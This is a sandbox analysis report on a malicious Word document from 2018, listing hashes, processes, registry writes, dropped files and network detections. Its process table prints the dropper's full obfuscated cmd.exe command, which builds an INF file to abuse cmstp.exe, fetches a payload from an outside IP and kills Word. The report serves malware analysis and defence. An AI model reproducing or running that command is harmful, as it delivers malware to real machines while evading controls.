| File name: | 8e85cf1d1622009d98de72bb58599fc4780e77bdcff337052e771edfb93c852f |
| Full analysis: | https://app.any.run/tasks/b8610665-7f74-4345-aadb-cdde15166ae5 |
| Verdict: | Malicious activity |
| Threats: | Trojans are a group of malicious programs distinguished by their ability to masquerade as benign software. Depending on their type, trojans possess a variety of capabilities, ranging from maintaining full remote control over the victim’s machine to stealing data and files, as well as dropping other malware. At the same time, the main functionality of each trojan family can differ significantly depending on its type. The most common trojan infection chain starts with a phishing email. |
| Analysis date: | November 14, 2018, 18:57:50 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.3, Code page: 1252, Author: Admin, Template: Normal.dotm, Last Saved By: cabane015 cabane015, Revision Number: 2, Name of Creating Application: Microsoft Office Word, Total Editing Time: 02:00, Create Time/Date: Wed Oct 17 02:44:00 2018, Last Saved Time/Date: Mon Nov 12 13:54:00 2018, Number of Pages: 1, Number of Words: 4, Number of Characters: 29, Security: 0 |
| MD5: | B6B4E05EB35049CA6D7A2533725B391D |
| SHA1: | DA6E18E0D8F3175A6FC3353D2BC9B6F1A2737F8C |
| SHA256: | 8E85CF1D1622009D98DE72BB58599FC4780E77BDCFF337052E771EDFB93C852F |
| SSDEEP: | 1536:eam5PVc86TVjh6m1BLDYhe1gAU0FSg8D0SfFaUy:Y6TVlbu7gS7 |
MALICIOUS
Application was dropped or rewritten from another process
- 46732.exe (PID: 2388)
SUSPICIOUS
Creates files in the user directory
- cmd.exe (PID: 2416)
- cmstp.exe (PID: 2976)
Uses TASKKILL.EXE to kill Office Apps
- cmd.exe (PID: 2416)
Executable content was dropped or overwritten
- cmstp.exe (PID: 2976)
INFO
Creates files in the user directory
- WINWORD.EXE (PID: 3724)
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 3724)
Dropped object may contain Bitcoin addresses
- cmstp.exe (PID: 2976)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (54.2) |
|---|---|---|
| .doc | | | Microsoft Word document (old ver.) (32.2) |
EXIF
FlashPix
| Title: | - |
|---|---|
| Subject: | - |
| Author: | Admin |
| Keywords: | - |
| Comments: | - |
| Template: | Normal.dotm |
| LastModifiedBy: | cabane015 cabane015 |
| RevisionNumber: | 2 |
| Software: | Microsoft Office Word |
| TotalEditTime: | 2.0 minutes |
| CreateDate: | 2018:10:17 01:44:00 |
| ModifyDate: | 2018:11:12 13:54:00 |
| Pages: | 1 |
| Words: | 4 |
| Characters: | 29 |
| Security: | None |
| CodePage: | Windows Latin 1 (Western European) |
| Company: | |
| Lines: | 1 |
| Paragraphs: | 1 |
| CharCountWithSpaces: | 32 |
| AppVersion: | 16 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | - |
| HeadingPairs: |
|
| CompObjUserTypeLen: | 32 |
| CompObjUserType: | Microsoft Word 97-2003 Document |
Total processes
39
Monitored processes
5
Malicious processes
0
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 2388 | "C:\Users\admin\46732.exe" | C:\Users\admin\46732.exe | — | cmstp.exe | |||||||||||
User: admin Company: WinAbility® Software Corporation Integrity Level: MEDIUM Description: Folder Guard setip Exit code: 0 Version: 9.1 Modules
| |||||||||||||||
| 2416 | cmd /V /C set "Y_48=s" && !Y_48!et "Y_21=i" && !Y_48!et "Y_81=A" && !Y_48!et "Y_85=N" && !Y_48!et "Y_99=d" && c!Y_81!ll !Y_48!et "Y_84=%!Y_81!PP!Y_99!!Y_81!T!Y_81!%" && c!Y_81!ll !Y_48!et "Y_03=%R!Y_81!!Y_85!!Y_99!OM%" && !Y_48!et "Y_53=!Y_84!\M!Y_21!cro!Y_48!oft\!Y_03!.txt" && !Y_48!et "Y_40="^" && (For %i in ("[ver!Y_48!ion]" "!Y_48!ignature=$Wi!Y_85!dow!Y_48! NTf7f81a39-5f63-5b42-9efd-1f13b5431005quot; "!Y_81!dvancedINF=2.5" "[DefaultIn!Y_48!tall_SingleU!Y_48!er]" "UnRegi!Y_48!terOCXs=Y_04" "[Y_04]" "%11%\%Y_36_1%%Y_36_2%%Y_36_3%,NI,%Y_25_1%%Y_25_2%%Y_25_3%%Y_25_4%%Y_25_5%%Y_25_6%%Y_25_7%%Y_25_8%%Y_25_9%%Y_25_10%%Y_25_11%%Y_25_12%%Y_25_13%%Y_25_14%%Y_25_15%%Y_25_16%%Y_25_17%" "[!Y_48!tring!Y_48!]" "Y_25_1=ht" "Y_25_2=tp" "Y_25_3=:/" "Y_25_4=/7" "Y_25_5=8." "Y_25_6=12" "Y_25_7=8." "Y_25_8=92" "Y_25_9=.2" "Y_25_10=7/" "Y_25_11=Md" "Y_25_12=dX" "Y_25_13=o2" "Y_25_14=Mt" "Y_25_15=_1" "Y_25_16=.t" "Y_25_17=xt" "Y_36_2=rO" "Y_36_1=sC" "Y_36_3=bJ" ) do @echo %~i)>"!Y_53!" && echo !Y_48!erv!Y_21!ceName=!Y_40! !Y_40!>>!Y_53! && echo !Y_48!hortSvcN!Y_81!me=!Y_40! !Y_40!>>!Y_53! && c!Y_81!ll !Y_48!et "Y_80=%WI!Y_85!!Y_99!IR%" && !Y_48!t!Y_81!rt "" !Y_80!\Sy!Y_48!tem32\cm!Y_48!tp.exe /s /ns "!Y_53!" && !Y_48!t!Y_81!rt "" /M!Y_21!N t!Y_81!skk!Y_21!ll /F /!Y_21!M w!Y_21!nwor!Y_99!.exe | C:\Windows\system32\cmd.exe | — | wmiprvse.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
| 2976 | C:\Windows\System32\cmstp.exe /s /ns "C:\Users\admin\AppData\Roaming\Microsoft\2821.txt" | C:\Windows\System32\cmstp.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Connection Manager Profile Installer Exit code: 0 Version: 7.02.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3104 | tAskkill /F /iM winword.exe | C:\Windows\system32\taskkill.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Terminates Processes Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3724 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\8e85cf1d1622009d98de72bb58599fc4780e77bdcff337052e771edfb93c852f.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 1 Version: 14.0.6024.1000 Modules
| |||||||||||||||
Total events
1 197
Read events
1 068
Write events
125
Delete events
4
Modification events
| (PID) Process: | (3724) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | 2,% |
Value: 322C25008C0E0000010000000000000000000000 | |||
| (PID) Process: | (3724) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (3724) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: On | |||
| (PID) Process: | (3724) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | WORDFiles |
Value: 1299054611 | |||
| (PID) Process: | (3724) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1299054728 | |||
| (PID) Process: | (3724) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1299054729 | |||
| (PID) Process: | (3724) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word |
| Operation: | write | Name: | MTTT |
Value: 8C0E0000C61568FA4B7CD40100000000 | |||
| (PID) Process: | (3724) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | }-% |
Value: 7D2D25008C0E000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (3724) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | delete value | Name: | }-% |
Value: 7D2D25008C0E000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (3724) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
Executable files
1
Suspicious files
1
Text files
5
Unknown types
6
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3724 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR9CB2.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 3724 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~DFF0F4AF6145124C64.TMP | — | |
MD5:— | SHA256:— | |||
| 3724 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\82DFD80A.wmf | wmf | |
MD5:— | SHA256:— | |||
| 3724 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\Word8.0\MSForms.exd | tlb | |
MD5:— | SHA256:— | |||
| 3724 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:— | SHA256:— | |||
| 3724 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$85cf1d1622009d98de72bb58599fc4780e77bdcff337052e771edfb93c852f.doc | pgc | |
MD5:— | SHA256:— | |||
| 2976 | cmstp.exe | C:\Users\admin\46732.exe | executable | |
MD5:— | SHA256:— | |||
| 2976 | cmstp.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\RB73MZ6Y\MddXo2Mt_1[1].txt | xml | |
MD5:— | SHA256:— | |||
| 3724 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\EE6BF483.wmf | wmf | |
MD5:— | SHA256:— | |||
| 2416 | cmd.exe | C:\Users\admin\AppData\Roaming\Microsoft\2821.txt | ini | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
1
DNS requests
0
Threats
2
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2976 | cmstp.exe | GET | 200 | 78.128.92.27:80 | http://78.128.92.27/MddXo2Mt_1.txt | BG | xml | 312 Kb | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2976 | cmstp.exe | 78.128.92.27:80 | — | BelCloud Hosting Corporation | BG | malicious |
DNS requests
Threats
PID | Process | Class | Message |
|---|---|---|---|
2976 | cmstp.exe | A Network Trojan was detected | MALWARE [PTsecurity] Squiblydoo Scriptlet |
1 ETPRO signatures available at the full report